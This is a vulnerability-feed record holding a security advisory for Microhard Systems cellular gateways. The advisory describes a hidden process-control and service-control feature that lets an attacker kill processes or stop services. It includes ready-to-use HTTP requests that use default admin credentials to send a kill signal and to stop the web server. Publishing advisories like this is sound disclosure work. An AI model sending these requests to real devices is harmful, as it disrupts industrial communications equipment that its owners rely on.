{"id": "PACKETSTORM:148568", "type": "packetstorm", "bulletinFamily": "exploit", "title": "Microhard Systems 3G/4G Cellular Ethernet And Serial Gateway Denial Of Service", "description": "", "published": "2018-07-16T00:00:00", "modified": "2018-07-16T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://packetstormsecurity.com/files/148568/Microhard-Systems-3G-4G-Cellular-Ethernet-And-Serial-Gateway-Denial-Of-Service.html", "reporter": "LiquidWorm", "references": [], "cvelist": [], "lastseen": "2018-07-17T09:31:27", "viewCount": 4, "enchantments": {"score": {"value": 0.1, "vector": "NONE", "modified": "2018-07-17T09:31:27", "rev": 2}, "dependencies": {"references": [], "modified": "2018-07-17T09:31:27", "rev": 2}, "vulnersScore": 0.1}, "sourceHref": "https://packetstormsecurity.com/files/download/148568/ZSL-2018-5481.txt", "sourceData": "` \nMicrohard Systems 3G/4G Cellular Ethernet and Serial Gateway Service Control DoS \n \n \nVendor: Microhard Systems Inc. \nProduct web page: http://www.microhardcorp.com \nAffected version: IPn4G 1.1.0 build 1098 \nIPn3Gb 2.2.0 build 2160 \nIPn4Gb 1.1.6 build 1184-14 \nIPn4Gb 1.1.0 Rev 2 build 1090-2 \nIPn4Gb 1.1.0 Rev 2 build 1086 \nBullet-3G 1.2.0 Rev A build 1032 \nVIP4Gb 1.1.6 build 1204 \nVIP4G 1.1.6 Rev 3.0 build 1184-14 \nVIP4G-WiFi-N 1.1.6 Rev 2.0.0 build 1196 \nIPn3Gii / Bullet-3G 1.2.0 build 1076 \nIPn4Gii / Bullet-LTE 1.2.0 build 1078 \nBulletPlus 1.3.0 build 1036 \nDragon-LTE 1.1.0 build 1036 \n \nSummary: The new IPn4Gb provides a rugged, industrial strength wireless solution \nusing the new and ultra fast 4G LTE cellular network infrastructure. The IPn4Gb \nfeatures integrated Firewall, IPSec / VPN & GRE Tunneling, IP/MAC Access Control \nLists. The IPn4Gb can transport critical data to and from SMS, Ethernet and Serial \nRS232/485/422 devices! \n \nThe IPn3Gb provides a fast, secure industrial strength wireless solution that uses \nthe widespread deployment of cellular network infrastructure for critical data collection. \nFrom remote meters and sensors, to providing mobile network access, the IPn3Gb delivers! \nThe IPn3Gb is a powerful HSPA+ and Quad Band GSM device compatible almost anywhere. It \nprovides robust and secure wireless communication of Serial, USB and Ethernet data. \n \nThe all new Bullet-3G provides a compact, robust, feature packed industrial strength \nwireless solution using fast 3G/HSPA+ network infrastructure. The Bullet-3G takes things \nto the next level by providing features such as Ethernet with PoE, RS232 Serial port \nand 2x Programmable I/O. Offering enhanced, 'Secure Communication' with its integrated \nFirewall, IPSec VPN Tunneling, IP/MAC Access Control Lists, the Bullet-3G is a solution \nworth looking at! \n \nThe all new Dragon-LTE provides a feature packed, compact OEM, industrial strength \nwireless IoT & M2M solution. Connect any device, wired or wireless, and provide remote \ncellular access using the Dragon-LTE. The Dragon-LTE features a OEM design for tight \nsystem integration and design flexibility with dual Ethernet Ports and high power \n802.11b/g/n WIFI. With its integrated Firewall, IPSec VPN Tunneling and IP/MAC Access \nControl Lists, the Dragon-LTE provides a solution for any cellular application! \n \nThe new VIP4Gb provides a rugged, industrial strength wireless solution using 4G LTE \nnetwork infrastructure for critical data communications. The VIP4Gb provides simultaneous \nnetwork connections for 802.11a/b/g/n WiFi devices, 4 x 10/100/1000 Ethernet ports, Digital \nI/O, and a RS232/RS485 port, resulting in a communication device that can be deployed in \nany application! The VIP4Gb is a powerful 4G LTE device compatible on any cellular network. \nIt provides robust and secure wireless communication of Serial, Ethernet & WiFi data. \n \nDesc: There is an undocumented and hidden feature that allows an authenticated attacker \nto list running processes in the operating system and send arbitrary signals to kill \nany process running in the background including starting and stopping system services. \nThis impacts availability and can be triggered also by CSRF attacks that requires device \nrestart and/or factory reset to rollback malicious changes. \n \nTested on: httpd-ssl-1.0.0 \nLinux 2.6.32.9 (Bin@DProBuilder) (gcc version 4.4.3) \n \n \nVulnerability discovered by Gjoko 'LiquidWorm' Krstic \n@zeroscience \n \n \nAdvisory ID: ZSL-2018-5481 \nAdvisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5481.php \n \n \n13.03.2018 \n \n-- \n \n \nPOST /cgi-bin/webif/status-processes.sh HTTP/1.1 \nHost: 192.168.1.1 \nConnection: keep-alive \nContent-Length: 34 \nCache-Control: max-age=0 \nAuthorization: Basic YWRtaW46YWRtaW4= \nOrigin: http://166.130.177.150 \nUpgrade-Insecure-Requests: 1 \nContent-Type: application/x-www-form-urlencoded \nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36 \nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 \nReferer: http://192.168.1.1/cgi-bin/webif/status-processes.sh \nAccept-Encoding: gzip, deflate \nAccept-Language: en-US,en;q=0.9 \nCookie: style=null \n \nsignal=SIGILL&pid=1337&kill=+Send+ \n \n \n=== \n \n \nAvailable services: \n \n# ls /etc/init.d/ \nboot dmesgbackup gpsgatetr ipsecfwadd mh_product quagga sysctl vlan \nchecksync dnsmasq gpsr keepalive modbusd rcS systemmode vnstat \ncoova-chilli done gpsrecorderd led msmscomd salertd telnet watchdog \ncron dropbear gred ledcon msshc sdpServer timezone webif \ncrontab eurd httpd localmonitord network snmpd twatchdog webiffirewalllog \ncustom-user-startup firewall ioports logtrigger ntpclient soip umount websockserverd \ndatausemonitord force_reboot iperf lte ntrd soip2 updatedd wsClient \ndefconfig ftpd ipsec lteshutdown nxl2tpd-wan soip2.getty usb xl2tpd \ndhcp_client gpsd ipsec_vpn media_ctrl pimd soipd1 vcad xl2tpd-wan \n \n \nStop the HTTPd: \n \nGET http://192.168.1.1/cgi-bin/webif/system-services.sh?service=httpd&action=stop HTTP/1.1 \n`\n"}

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